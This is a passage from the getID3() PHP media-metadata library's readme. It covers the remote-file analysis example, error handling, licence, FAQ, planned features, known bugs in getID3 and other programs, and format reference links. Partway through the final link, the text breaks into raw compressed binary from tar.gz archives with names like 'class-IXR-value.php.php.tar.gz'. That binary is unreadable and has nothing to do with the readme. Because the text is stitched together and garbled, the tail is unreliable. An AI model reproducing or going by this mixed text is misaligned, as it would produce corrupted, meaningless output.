		while ($buffer = fread($fp_remote, 32768)) {
			fwrite($fp_local, $buffer);
		}
		fclose($fp_local);

		$remote_headers = array_change_key_case(get_headers($remotefilename, 1), CASE_LOWER);
		$remote_filesize = (isset($remote_headers['content-length']) ? (is_array($remote_headers['content-length']) ? $remote_headers['content-length'][count($remote_headers['content-length']) - 1] : $remote_headers['content-length']) : null);

		// Initialize getID3 engine
		$getID3 = new getID3;

		$ThisFileInfo = $getID3->analyze($localtempfilename, $remote_filesize, basename($remotefilename));

		// Delete temporary file
		unlink($localtempfilename);
	}
	fclose($fp_remote);
}

Note: since v1.9.9-20150212 it is possible a second and third parameter
to $getID3->analyze(), for original filesize and original filename
respectively. This permits you to download only a portion of a large remote
file but get accurate playtime estimates, assuming the format only requires
the beginning of the file for correct format analysis.

See /demos/demo.write.php for how to write tags.



What does the returned data structure look like?
===========================================================================

See structure.txt

It is recommended that you look at the output of
/demos/demo.browse.php scanning the file(s) you're interested in to
confirm what data is actually returned for any particular filetype in
general, and your files in particular, as the actual data returned
may vary considerably depending on what information is available in
the file itself.



Notes
===========================================================================

getID3() 1.x:
If the format parser encounters a critical problem, it will return
something in $fileinfo['error'], describing the encountered error. If
a less critical error or notice is generated it will appear in
$fileinfo['warning']. Both keys may contain more than one warning or
error. If something is returned in ['error'] then the file was not
correctly parsed and returned data may or may not be correct and/or
complete. If something is returned in ['warning'] (and not ['error'])
then the data that is returned is OK - usually getID3() is reporting
errors in the file that have been worked around due to known bugs in
other programs. Some warnings may indicate that the data that is
returned is OK but that some data could not be extracted due to
errors in the file.

getID3() 2.x:
See above except errors are thrown (so you will only get one error).



Disclaimer
===========================================================================

getID3() has been tested on many systems, on many types of files,
under many operating systems, and is generally believe to be stable
and safe. That being said, there is still the chance there is an
undiscovered and/or unfixed bug that may potentially corrupt your
file, especially within the writing functions. By using getID3() you
agree that it's not my fault if any of your files are corrupted.
In fact, I'm not liable for anything :)



License
===========================================================================

GNU General Public License - see license.txt

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to:
Free Software Foundation, Inc.
59 Temple Place - Suite 330
Boston, MA  02111-1307, USA.

FAQ:
Q: Can I use getID3() in my program? Do I need a commercial license?
A: You're generally free to use getID3 however you see fit. The only
   case in which you would require a commercial license is if you're
   selling your closed-source program that integrates getID3. If you
   sell your program including a copy of getID3, that's fine as long
   as you include a copy of the sourcecode when you sell it.  Or you
   can distribute your code without getID3 and say "download it from
   getid3.sourceforge.net"



Why is it called "getID3()" if it does so much more than just that?
===========================================================================

v0.1 did in fact just do that. I don't have a copy of code that old, but I
could essentially write it today with a one-line function:
  function getID3($filename) { return unpack('a3TAG/a30title/a30artist/a30album/a4year/a28comment/c1track/c1genreid', substr(file_get_contents($filename), -128)); }


Future Plans
===========================================================================
https://www.getid3.org/phpBB3/viewforum.php?f=7

* Better support for MP4 container format
* Scan for appended ID3v2 tag at end of file per ID3v2.4 specs (Section 5.0)
* Support for JPEG-2000 (http://www.morgan-multimedia.com/jpeg2000_overview.htm)
* Support for MOD (mod/stm/s3m/it/xm/mtm/ult/669)
* Support for ACE (thanks Vince)
* Support for Ogg other than Vorbis, Speex and OggFlac (ie. Ogg+Xvid)
* Ability to create Xing/LAME VBR header for VBR MP3s that are missing VBR header
* Ability to "clean" ID3v2 padding (replace invalid padding with valid padding)
* Warn if MP3s change version mid-stream (in full-scan mode)
* check for corrupt/broken mid-file MP3 streams in histogram scan
* Support for lossless-compression formats
  (http://www.firstpr.com.au/audiocomp/lossless/#Links)
  (http://compression.ca/act-sound.html)
  (http://web.inter.nl.net/users/hvdh/lossless/lossless.htm)
* Support for RIFF-INFO chunks
  * http://lotto.st-andrews.ac.uk/~njh/tag_interchange.html
    (thanks Nick Humfrey <njhØsurgeradio*co*uk>)
  * http://abcavi.narod.ru/sof/abcavi/infotags.htm
    (thanks Kibi)
* Better support for Bink video
* http://www.hr/josip/DSP/AudioFile2.html
* http://www.pcisys.net/~melanson/codecs/
* Detect mp3PRO
* Support for PSD
* Support for JPC
* Support for JP2
* Support for JPX
* Support for JB2
* Support for IFF
* Support for ICO
* Support for ANI
* Support for EXE (comments, author, etc) (thanks p*quaedackersØplanet*nl)
* Support for DVD-IFO (region, subtitles, aspect ratio, etc)
  (thanks p*quaedackersØplanet*nl)
* More complete support for SWF - parsing encapsulated MP3 and/or JPEG content
    (thanks n8n8Øyahoo*com)
* Support for a2b
* Optional scan-through-frames for AVI verification
  (thanks rockcohenØmassive-interactive*nl)
* Support for TTF (thanks infoØbutterflyx*com)
* Support for DSS (https://www.getid3.org/phpBB3/viewtopic.php?t=171)
* Support for SMAF (http://smaf-yamaha.com/what/demo.html)
  https://www.getid3.org/phpBB3/viewtopic.php?t=182
* Support for AMR (https://www.getid3.org/phpBB3/viewtopic.php?t=195)
* Support for 3gpp (https://www.getid3.org/phpBB3/viewtopic.php?t=195)
* Support for ID4 (http://www.wackysoft.cjb.net grizlyY2KØhotmail*com)
* Parse XML data returned in Ogg comments
* Parse XML data from Quicktime SMIL metafiles (klausrathØmac*com)
* ID3v2 genre string creator function
* More complete parsing of JPG
* Support for all old-style ASF packets
* ASF/WMA/WMV tag writing
* Parse declared T??? ID3v2 text information frames, where appropriate
    (thanks Christian Fritz for the idea)
* Recognize encoder:
  http://www.guerillasoft.com/EncSpot2/index.html
  http://ff123.net/identify.html
  http://www.hydrogenaudio.org/?act=ST&f=16&t=9414
  http://www.hydrogenaudio.org/?showtopic=11785
* Support for other OS/2 bitmap structures: Bitmap Array('BA'),
  Color Icon('CI'), Color Pointer('CP'), Icon('IC'), Pointer ('PT')
  http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm
* Support for WavPack RAW mode
* ASF/WMA/WMV data packet parsing
* ID3v2FrameFlagsLookupTagAlter()
* ID3v2FrameFlagsLookupFileAlter()
* obey ID3v2 tag alter/preserve/discard rules
* http://www.geocities.com/SiliconValley/Sector/9654/Softdoc/Illyrium/Aolyr.htm
* proper checking for LINK/LNK frame validity in ID3v2 writing
* proper checking for ASPI-TLEN frame validity in ID3v2 writing
* proper checking for COMR frame validity in ID3v2 writing
* http://www.geocities.co.jp/SiliconValley-Oakland/3664/index.html
* decode GEOB ID3v2 structure as encoded by RealJukebox,
  decode NCON ID3v2 structure as encoded by MusicMatch
  (probably won't happen - the formats are proprietary)



Known Bugs/Issues in getID3() that may be fixed eventually
===========================================================================
https://www.getid3.org/phpBB3/viewtopic.php?t=25

* Cannot determine bitrate for MPEG video with VBR video data
  (need documentation)
* Interlace/progressive cannot be determined for MPEG video
  (need documentation)
* MIDI playtime is sometimes inaccurate
* AAC-RAW mode files cannot be identified
* WavPack-RAW mode files cannot be identified
* mp4 files report lots of "Unknown QuickTime atom type"
   (need documentation)
* Encrypted ASF/WMA/WMV files warn about "unhandled GUID
  ASF_Content_Encryption_Object"
* Bitrate split between audio and video cannot be calculated for
  NSV, only the total bitrate. (need documentation)
* All Ogg formats (Vorbis, OggFLAC, Speex) are affected by the
  problem of large VorbisComments spanning multiple Ogg pages, but
  but only OggVorbis files can be processed with vorbiscomment.
* The version of "head" supplied with Mac OS 10.2.8 (maybe other
  versions too) does only understands a single option (-n) and
  therefore fails. getID3 ignores this and returns wrong md5_data.



Known Bugs/Issues in getID3() that cannot be fixed
--------------------------------------------------
https://www.getid3.org/phpBB3/viewtopic.php?t=25

* 32-bit PHP installations only:
  Files larger than 2GB cannot always be parsed fully by getID3()
  due to limitations in the 32-bit PHP filesystem functions.
  NOTE: Since v1.7.8b3 there is partial support for larger-than-
  2GB files, most of which will parse OK, as long as no critical
  data is located beyond the 2GB offset.
  Known will-work:
  * all file formats on 64-bit PHP
  * ZIP  (format doesn't support files >2GB)
  * FLAC (current encoders don't support files >2GB)
  Known will-not-work:
  * ID3v1 tags (always located at end-of-file)
  * Lyrics3 tags (always located at end-of-file)
  * APE tags (always located at end-of-file)
  Maybe-will-work:
  * Quicktime (will work if needed metadata is before 2GB offset,
    that is if the file has been hinted/optimized for streaming)
  * RIFF.WAV (should work fine, but gives warnings about not being
    able to parse all chunks)
  * RIFF.AVI (playtime will probably be wrong, is only based on
    "movi" chunk that fits in the first 2GB, should issue error
    to show that playtime is incorrect. Other data should be mostly
    correct, assuming that data is constant throughout the file)
* PHP <= v5 on Windows cannot read UTF-8 filenames


Known Bugs/Issues in other programs
-----------------------------------
https://www.getid3.org/phpBB3/viewtopic.php?t=25

* MusicBrainz Picard (at least up to v1.3.2) writes multiple
  ID3v2.3 genres in non-standard forward-slash separated text
  rather than parenthesis-numeric+refinement style per the ID3v2.3
  specs. Tags written in ID3v2.4 mode are written correctly.
  (detected and worked around by getID3())
* PZ TagEditor v4.53.408 has been known to insert ID3v2.3 frames
  into an existing ID3v2.2 tag which, of course, breaks things
* Windows Media Player (up to v11) and iTunes (up to v10+) do
    not correctly handle ID3v2.3 tags with UTF-16BE+BOM
    encoding (they assume the data is UTF-16LE+BOM and either
    crash (WMP) or output Asian character set (iTunes)
* Winamp (up to v2.80 at least) does not support ID3v2.4 tags,
    only ID3v2.3
    see: http://forums.winamp.com/showthread.php?postid=387524
* Some versions of Helium2 (www.helium2.com) do not write
    ID3v2.4-compliant Frame Sizes, even though the tag is marked
    as ID3v2.4)  (detected by getID3())
* MP3ext V3.3.17 places a non-compliant padding string at the end
    of the ID3v2 header. This is supposedly fixed in v3.4b21 but
    only if you manually add a registry key. This fix is not yet
    confirmed.  (detected by getID3())
* CDex v1.40 (fixed by v1.50b7) writes non-compliant Ogg comment
    strings, supposed to be in the format "NAME=value" but actually
    written just "value"  (detected by getID3())
* Oggenc 0.9-rc3 flags the encoded file as ABR whether it's
    actually ABR or VBR.
* iTunes (versions "v7.0.0.70" is known-guilty, probably
    other versions are too) writes ID3v2.3 comment tags using an
    ID3v2.2 frame name (3-bytes) null-padded to 4 bytes which is
    not valid for ID3v2.3+
    (detected by getID3() since 1.9.12-201603221746)
* iTunes (versions "X v2.0.3", "v3.0.1" are known-guilty, probably
    other versions are too) writes ID3v2.3 comment tags using a
    frame name 'COM ' which is not valid for ID3v2.3+ (it's an
    ID3v2.2-style frame name)  (detected by getID3())
* MP2enc does not encode mono CBR MP2 files properly (half speed
    sound and double playtime)
* MP2enc does not encode mono VBR MP2 files properly (actually
    encoded as stereo)
* tooLAME does not encode mono VBR MP2 files properly (actually
    encoded as stereo)
* AACenc encodes files in VBR mode (actually ABR) even if CBR is
   specified
* AAC/ADIF - bitrate_mode = cbr for vbr files
* LAME 3.90-3.92 prepends one frame of null data (space for the
  LAME/VBR header, but it never gets written) when encoding in CBR
  mode with the DLL
* Ahead Nero encodes TwinVQF with a DSIZ value (which is supposed
  to be the filesize in bytes) of "0" for TwinVQF v1.0 and "1" for
  TwinVQF v2.0  (detected by getID3())
* Ahead Nero encodes TwinVQF files 1 second shorter than they
  should be
* AAC-ADTS files are always actually encoded VBR, even if CBR mode
  is specified (the CBR-mode switches on the encoder enable ABR
  mode, not CBR as such, but it's not possible to tell the
  difference between such ABR files and true VBR)
* STREAMINFO.audio_signature in OggFLAC is always null. "The reason
  it's like that is because there is no seeking support in
  libOggFLAC yet, so it has no way to go back and write the
  computed sum after encoding. Seeking support in Ogg FLAC is the
  #1 item for the next release." - Josh Coalson (FLAC developer)
  NOTE: getID3() will calculate md5_data in a method similar to
  other file formats, but that value cannot be compared to the
  md5_data value from FLAC data in a FLAC file format.
* STREAMINFO.audio_signature is not calculated in FLAC v0.3.0 &
  v0.4.0 - getID3() will calculate md5_data in a method similar to
  other file formats, but that value cannot be compared to the
  md5_data value from FLAC v0.5.0+
* RioPort (various versions including 2.0 and 3.11) tags ID3v2 with
  a WCOM frame that has no data portion
* Earlier versions of Coolplayer adds illegal ID3 tags to Ogg Vorbis
  files, thus making them corrupt.
* Meracl ID3 Tag Writer v1.3.4 (and older) incorrectly truncates the
  last byte of data from an MP3 file when appending a new ID3v1 tag.
  (detected by getID3())
* Lossless-Audio files encoded with and without the -noseek switch
  do actually differ internally and therefore cannot match md5_data
* iTunes has been known to append a new ID3v1 tag on the end of an
  existing ID3v1 tag when ID3v2 tag is also present
  (detected by getID3())
* MediaMonkey may write a blank RGAD ID3v2 frame but put actual
  replay gain adjustments in a series of user-defined TXXX frames
  (detected and handled by getID3() since v1.9.2)




Reference material:
===========================================================================

[www.id3.org material now mirrored at http://id3lib.sourceforge.net/id3/]
* http://www.id3.org/id3v2.4.0-structure.txt
* http://www.id3.org/id3v2.4.0-frames.txt
* http://www.id3.org/id3v2.4.0-changes.txt
* http://www.id3.org/id3v2.3.0.txt
* http://www.id3.org/id3v2-00.txt
* http://www.id3.org/mp3frame.html
* http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html <mathewhendry@hotmail.com>
* http://www.dv.co.yu/mpgscript/mpeghdr.htm
* http://www.mp3-tech.org/programmer/frame_header.html
* http://users.belgacom.net/gc247244/extra/tag.html
* http://gabriel.mp3-tech.org/mp3infotag.html
* http://www.id3.org/iso4217.html
* http://www.unicode.org/Public/MAPPINGS/ISO8859/8859-1.TXT
* http://www.xiph.org/ogg/vorbis/doc/framing.html
* http://www.xiph.org/ogg/vorbis/doc/v-comment.html
* http://leknor.com/code/php/class.ogg.php.txt
* http://www.id3.org/iso639-2.html
* http://www.id3.org/lyrics3.html
* http://www.id3.org/lyrics3200.html
* http://www.psc.edu/general/software/packages/ieee/ieee.html
* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html
* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
* http://www.jmcgowan.com/avi.html
* http://www.wotsit.org/
* http://www.herdsoft.com/ti/davincie/davp3xo2.htm
* http://www.mathdogs.com/vorbis-illuminated/bitstream-appendix.html
* "Standard MIDI File Format" by Dustin Caldwell (from www.wotsit.org)
* http://midistudio.com/Help/GMSpecs_Patches.htm
* http://www.xiph.org/archives/vorbis/200109/0459.html
* http://www.replaygain.org/
* http://www.lossless-audio.com/
* http://download.microsoft.com/download/winmediatech40/Doc/1.0/WIN98MeXP/EN-US/ASF_Specification_v.1.0.exe
* http://mediaxw.sourceforge.net/files/doc/Active%20Streaming%20Format%20(ASF)%201.0%20Specification.pdf
* http://www.uni-jena.de/~pfk/mpp/sv8/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/sv8/)
* http://jfaul.de/atl/
* http://www.uni-jena.de/~pfk/mpp/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/)
* http://www.libpng.org/pub/png/spec/png-1.2-pdg.html
* http://www.real.com/devzone/library/creating/rmsdk/doc/rmff.htm
* http://www.fastgraph.com/help/bmp_os2_header_format.html
* http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm
* http://flac.sourceforge.net/format.html
* http://www.research.att.com/projects/mpegaudio/mpeg2.html
* http://www.audiocoding.com/wiki/index.php?page=AAC
* http://libmpeg.org/mpeg4/doc/w2203tfs.pdf
* http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt
* http://developer.apple.com/techpubs/quicktime/qtdevdocs/RM/frameset.htm
* http://www.nullsoft.com/nsv/
* http://www.wotsit.org/download.asp?f=iso9660
* http://sandbox.mc.edu/~bennet/cs110/tc/tctod.html
* http://www.cdroller.com/htm/readdata.html
* http://www.speex.org/manual/node10.html
* http://www.harmony-central.com/Computer/Programming/aiff-file-format.doc
* http://www.faqs.org/rfcs/rfc2361.html
* http://ghido.shelter.ro/
* http://www.ebu.ch/tech_t3285.pdf
* http://www.sr.se/utveckling/tu/bwf
* http://ftp.aessc.org/pub/aes46-2002.pdf
* http://cartchunk.org:8080/
* http://www.broadcastpapers.com/radio/cartchunk01.htm
* http://www.hr/josip/DSP/AudioFile2.html
* http://home.attbi.com/~chris.bagwell/AudioFormats-11.html
* http://www.pure-mac.com/extkey.html
* http://cesnet.dl.sourceforge.net/sourceforge/bonkenc/bonk-binary-format-0.9.txt
* http://www.headbands.com/gspot/
* http://www.openswf.org/spec/SWFfileformat.html
* http://j-faul.virtualave.net/
* http://www.btinternet.com/~AnthonyJ/Atari/programming/avr_format.html
* http://cui.unige.ch/OSG/info/AudioFormats/ap11.html
* http://sswf.sourceforge.net/SWFalexref.html
* http://www.geocities.com/xhelmboyx/quicktime/formats/qti-layout.txt
* http://www-lehre.informatik.uni-osnabrueck.de/~fbstark/diplom/docs/swf/Flash_Uncovered.htm
* http://developer.apple.com/quicktime/icefloe/dispatch012.html
* http://www.csdn.net/Dev/Format/graphics/PCD.htm
* http://tta.iszf.irk.ru/
* http://www.atsc.org/standards/a_52a.pdf
* http://www.alanwood.net/unicode/
* http://www.freelists.org/archives/matroska-devel/07-2003/msg00010.html
* http://www.its.msstate.edu/net/real/reports/config/tags.stats
* http://homepages.slingshot.co.nz/~helmboy/quicktime/formats/qtm-layout.txt
* http://brennan.young.net/Comp/LiveStage/things.html
* http://www.multiweb.cz/twoinches/MP3inside.htm
* http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended
* http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/
* http://www.unicode.org/unicode/faq/utf_bom.html
* http://tta.corecodec.org/?menu=format
* http://www.scvi.net/nsvformat.htm
* http://pda.etsi.org/pda/queryform.asp
* http://cpansearch.perl.org/src/RGIBSON/Audio-DSS-0.02/lib/Audio/DSS.pm
* http://trac.musepack.net/trac/wiki/SV8Specification
* http://wyday.com/cuesharp/specification.php
* http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html
* http://www.codeproject.com/Articles/8295/MPEG-Audio-Frame-Header
* http://dsd-guide.com/sites/default/files/white-papers/DSFFileFormatSpec_E.pdf
* https://fileformats.fandom.com/wiki/Torrent_file14338/class-IXR-value.php.php.tar.gz000064400000002236151024420100012600 0ustar00��W�o�F�W�+&:Cr`H!��!��>�V:]Om��B�Yb~ջ&�z��}�	T}J�/��3��ά�Ч�:�l��50��)�i@m���
��%�u�m�0	��}�1껁�%+��w�L�#���_K��"':���f<>+�Pї_�n�F���z|=��q�z2�`X��(a���O`�ɺ�l����6\�p�H!.�MD�
y��@���h0qm�e�31��
H[CgE8�eK��Y��H-T�����À�8�yĮ�n����n�b�?�*m����5���Ԯ u��\�"O�A���R��QbJ���g'��#nw{��]h/']�i��`(�2�i��$�xp���7�@�H�'�!������O�欠kƔ؎@�':��s�H�eJ�Ip����ZvV�Մ��t��4�L.�1���W���ݽ ������ճV�56ϟ1~W��q]MF��smؗf��P�hu�Ũ��N��
k!��L��T|�WA�9�5S���Ғr�b�E��0�ݨ+nⲅp�@�Br��!�!U��G�ҤX��μ�ăG�;"�2�&�%a�f$X"в
��`�zxB��}��f#��O�Jތ�kɻ5�u� �}�Vq,�-���݄�*�#L���|w}�\-������Cw¦����qT��2|�4�G
�b#
t/�a�؊�X���/�}���֔\*�@=�j��8�;��*-���������>5?�L�Hn �
=�*��J�M��4��t�}�Ȁ)C�70,s�8�([���j�E�8��Lj�C8r��R�(�*R����`���{,���-�)_!�r��J�����8�-�3�Zq�spQh|R���u392@K�������z\X�:�E�5�.�bN�ٖ���	�f�B�eN��ñSL��- >->�Z��>TKA��x\`�}�/i<���\�Y���PcfI�2�.C�����T����$'ﴮ��!�x�r	�}8�P����Y�_�'A��C�
�G��>&�|ϳ$�<��҇=��ͥU���+&���ȟ���Dt[�gG6��`�#������|�g�f��P��~���ZTOr��s����
�x�6=��^]��]���~�z�����#{14338/meta.php.php.tar.gz000064400000025005151024420100010646 0ustar00��=ks�F��U��J)���8{�r���[_%���^jK�@�p&	-k���Ǽ1�����j�0�GO���缘e��2��N~���|�U�l���Y2��g�E��L��q��ח�q1;�X�����2ͪ�YV'���-�{���/�����<x�����/�����?��:��߲������>�߿�lޝ��?�#>��2�Î�I�����!>�v9�y1�Ĥ(E��e����<3���r��`�>.&�mR�Ų?e�0���q-��EV
�@8���U��	����y��bt	�|��f�Mvy�m2]fb���@<�o*�ǥ�:��b���94Ʈ���+�w%���yk��3Q%3���IV�b>����KA�
$,��H�o���,��Vˑz��g�w�����9�ˏ/�_�U�O/�����w8�&UuHI���4���HҬD��=����8M+��{���I�a��	V@���b�=��lZ����X�#�G�5�����*ɨ�˄6��r���L�k��=��7Q�W�_�k�qz�9��@���6��(���=�3��g��3��e���>��z\�^�h$.�1�Y���'!`MS�35�|^cG{��0O�x�����L?�v�a�����w0ٔ1U7eT�e�\V�q�D_DǪLa-@�'���}-�t�O�b�!q.�9w���!u���f)�
��z'��.�9S$�T�L4}���]1I��ly�� �iaǰ��lQ_*��z�:��ek����U]̗�QVVbX�蒝e%�4����h�{�5C����"��y1�[��i�`ܨ(����r������g2>r����`fa$p�b9Mq<كb��[�lB0��R-I�e����7��9��쉬��y!���,�(<8O�I\�х�¸�[�+#�+��)y.�%p���K�'�$�.K����DJ1���P�p�bg}�;�
��mR��
9���_��HK�����f������ݡ?�jX�0޷���#�K�<�����Z!�X��>2c�ƺ#6	]
ϲzȓ�'6T�>�}�?�
d!}x$�W9
�0o���l_V�U��X�l@vB��?<�;�:`��
�9�޾���#�����[[�볙u��i���ħ�q�����r~0�����r��Q$���S%���Ĵ�}���^Γ�Y@/$�Y���o`�S3��>p�	2���fDH�h�n�Qn����}�2�/Pb�]��Z�d�K�R��͗@�Nb(`@�o�)�0���a��EU刔z�(��:�Z7�~�T��Ѥ꼒K���uG^!0�W�Z�a�A
����%��7>��o�j�^����W|��37��i8b]%g���Ѣ��44Ѯ�t{;
�牾���&�vP�Hp�\,���I>�����.n�/�8��
���n�'4�$���H��8����\}��g,I�~��}�J>��ᓝ��~���+��~x������������O_>z�ħ�8��0<��t��ݘ��_z����6i4t���Q�K0�F�P�
�j��`2
9��C���	Z�̡L���4����[p�8��p���Ʊ��F��f++���^W��C�Xc4��ܡ��{�w�r)�������6
�#AӍ�O������=5TO�v��g�G$��z��Y��E�>�Ӂ;{�v*�8�3L�iVg��h�
�ꭢ�d�uK���Qf-d��3k#M��DHs��ڨ�
#�(iM�S�\U�����������3�����7KG�`�r�� ���U]E?�p3�q�1��(X�έC�cq���Q�.�Vvh\;��o�o�/j��(� �^��j��F�>����Q�B9�����y��L�Ë��-{N�|㾌��v�5�8��#��g��0_��a#s*���1|p��<��j^Kp�Hh�-pDS}�g�a�a��]I��9�
BTl��Q�>
��[.Y�-��#P`JN�9T=�Ov���uG�׻u`]�K��>����i��K�)�������7�7~���w���в��G��l���Q�����M\�M1�[?���$����۸7M6�8�����5���U�:�N��iU��<V��]�X��hv?�ݼ~�������b�n=#�����G�eU��JZ!�he �DZؾ;]9��bjx����!H����Gu�҄�6�K�^y�Q�ݗ�>P����kK�/��/�w��?#��2�\�}�9Q��ZRx}���������!u�H�bqϖ����#2��c��1l��"a~�*6���J����b�O�w����L�BK�(S��Ğ�k�i'!�/�{�@]W�y�����x��.��t=�v�A7���W��,�-4_��2=��/3�=���P�ZZ�;��A�f�{��s���3c��x�b�Ns��\gL��i�(Ě�.�F"�'�s�o��}�-h��=�����J_�Nh�Z��W��hg�x��w��/9�N�LlV@=��?�E�SN��ɲ$�)�NbS�C����g�3�
��gja��\��})��C��K۔_�0�5�g��-��8u����u\�W+d���y,fr���#����
��W��+a��e�Cގ�=!n}��Q�njci�պ�-�a���5j��r)�-��	B��gC���l�8E���S�PN��u�A�Wo�Ϙ�C+z�z%�7I���^�|��@v9��E���E5�>�1�B��>/�j��K�s<�+���B7���^����j�z|t-Ҍ�[y�b��g�"�p��ǣ�{��.:T<���H&Ofe�i�S��cذ���u&��6������_u�?���n��5F-�%y�����6<we�9�Ǒ�|����|�]xN�l�5�s	-��kG笜w�Y���Eԭ���0&�,;�<)�"�&�w�7�aoy��h��ˬ�4��-�LvTI8��
A%G��`�+e8b�
E}��c�Y+�h��>g��X5��ʁ��U�i'������UF�QK"��b(X*�Z�H{˺$=h��
pi��'}CSt��q�<��l'�[�y\���x7Β��E`�;��@��ٓ�����:����i�1�e�P�5���y?��w���=QJ�J���hs�N��Nm�}�c<��k�o�ݳP��V��+���x˫�vb	�g?�`�R�(O�n�h.���L��`�
dK#V����#�#XxPᇆ˪��$є�~�j�J����k4�ҹe�����WmL4x\G�Z���Ǣ~[>�����.��F*/e���
0K�c1_$S$fbx�$�L����3�T�i~6�"P�$
����=��������C_V�<��v�N����4>P%S�l��SL�tS6Y�ȩ�t�҃~ß�r���V�]��SUY�̹<�ҳ^����u����P�Nȿ��^m��T�r�ؤ޺��i���IB���v)�@���jC��ȧzͧ�"�6�,2dnX�g^H�#��H��(m���A�uh�|�O,sgt��]|Kf�,�ϡ�!�q�T��b
}�Ϭ,�\��Y��W��A�����4����a|��g5Z�������[�N�!���c�Gm;P�?u�5�wn��}�Tu�Ԙ�(��
~E>�WREJ}��^����:��
,!�f�6�.���2?ˁ���D�l�%�^F�$�p�j{[��.-oܦ��q3��h;'Z>ʣ5�)&�
Å�F���>iz+o�@�`��0w��\]��Wv={��/#Y����H��j�h����b�Nls� .EB�وſ�m$���:F��{3>��P�fC�C���)'�`M�"�i?���IP˪n��n�3)�s�[��Ⴘ�+��lYC&�jJ+V���M檕����P�XxG��,��@v�+��,����g�s��[5��Q��ɽ�~l�/���$�9������#�#��w���m�3W*��y�*�1}}b7}m�����u>�Ͱ`䬐#��zo>�C�)�̌�-v7��$��F�D�;<�ۈG�3���,Y�S�K�M��cΐ	Y҈Ym}��2�)r��[�����
�70>�O�0Bb
�&ށ���r���z����\BR��*�	>YE�����,aO��m٣�"�>ʯ۵h�o�J|�`J�f��SF��"���K�R���eT�OP)5�����V�o�׮�Uyb�3r�|�<�v���y�)���x�Ń��[�b
��>���ۆx�SKN~۩����b�G��WZ��3��)���5b�dòv�݀m���-����F��`bs(��!K���R�$n�8�up���X4u���h�c��,.T��c�SLލ󋚧fY��o��f#O�*'��
��u}U[���8�J)��yXn8��-k^��=����M
 �뭴j����f��;�`���A�f�ui�t���Mh>�+ab�W��C�k���:�1i�M��$XT�7�Հ�}��9�����j3�9��HM���L��t~r�/(k���
��Hܻ���]�P�-�L9s��l��ow>������
6r��`�ж[����P���&mv���yLG�}o��F
�����4�uR�\
n�����=,�8~X��#
NI��JG�<�f+rw��b:o���z��$�W��'�Ɥt7[�劕?�z:�Q8l~<��Vꕶ�gd�ߋ��
e�6O3%(����'�z���:���^]�V� XW��IZ�X��74�l��>�!ʵ�j�M������0WV��D*��ڵ+3���k�3����k��1m[�i����
�GD����cɚӭ����(Gݪ(��hw��P�Y�"@�Nj���5�B�S�R�2�۾'C�A|[��$%&'��"9�{*�x(O�=C�����>�A��M,���p�Uȵ�M�s_��;�,���*�;���HI[��_$;s���(b���
ٱ����a���b@^��
��[_����'8���~���f���� ��E9Kj}����IyF��j�8!|g�Cs
������tU=ݶZ^�#K��Õ��zw��o^�z�y_CYd޵�K��i���O��|0�α|Z�
ɸ0'iWת���a�}*U�p��0��
�,a9I«
K0_-&�p�+D���c6�W�����´#%Oca�Fm�۠�u����~�[�w�+�P<g��3��#2���R������
6Rz1֮�b�������D�޴,��ƶ��k,�մ�D�i)[�k�
c�<�&P��MG֯%���h>�c ��]��hcG_!p5Mvf��ޔ�qW\�az<G;m���D�"���B�a���ܸ�`�e����m�%�:6;M�6���F6��D���i�\eq�
)O�k)>���6H�)�ҩ,��h��͜��J+�{՘~���{�N�i��WA�l������R"d�v�sUfbE��RZ��
T�v8�B�
JT7v������@
�mfՍ=�HL
�0����H%��UYa�1��KKF3�︇d2t��j��u����MZ�Y�vɗFް���^��ٰ��d�E6=��{w���+�\�ף���;�:���M7���Y�����lu�7@��
�.?�H/vu�7�̵k�m\�ִYi�rt�[xWo�Ɠv�6��"���\���8�J�N9Tۜd�'�b�������>)@9�AjS+���p�H �	︄]�֬gO˿���oeDs��<�1E�������vBA-r)��թ:��w��W9{�[��{�u�3c
�mR�H�!�U;�{��!7�1��FR�*��;�ׁ�]�>��k7�}���哧/�_�n[]�?>4?~����cGv9wh�<�;饺����!��}��'zvT^ZY�|o°�,�ـ#���\�q�1��G�%����R�T�M}�f!�C(?�.��7Pס�o��-ݍ�>�C�i�n�4�!!s���0%G�˲D�:8T�*ƺe�M��΍��Vx�"���%�p��sx�o-�
��A��ȭ�M7�7J{7X��"b�|^f��4����i����߳l��G�~z1T:��;��q���yF�y:5�K�(�t���I(�X��h�&�El*�P)���G�`^�.������������t�ͳ�����;1�&�Z5E/�x8�w*�+�
I_5¡_�E儇���]k����e��!�ִB�T٨��$�Q�E�ϒ���?1�-�B���U:�VJ``��:{g�N]ih6Jr�)��W�O����#Ag8�zB��,�����ڽ������I�x8��2�o*��_.t	��G����1h�29#�Vx4q�j�'�t芗n�9[5�~��ۈ�g�{���A��/W&�ULMg�<�����H��S�H˺	Oq�YEJ�"�a�m���"�7w#�
�?l�1r�w���I�8Ӗ��M'�q+�^�C���G����^�
���'-'n�P�>�Tj�p�P�f����AeQgx'cCx�<hɅi�{�̚����?�RG6Tt�Ιm��G���W��P����I���m�̕u�d��'���w_ܻ��w|���/߽}�+fz��Z�K��7��X���@|#�aA��ҜsZ�j�bG렛�[am��r3f�6�Wu�A}�����rc���^�z}��L>�6�D�@W�y��0:���Fڔ�,����^I���<�K���5���Nsm�)1*9K���d��$���ת�nR V�<��„���ݺ��[�7fn8�����5��I%8��{�i*/'���Ѵ���ߕ���sg�)�&{O���O�Dd
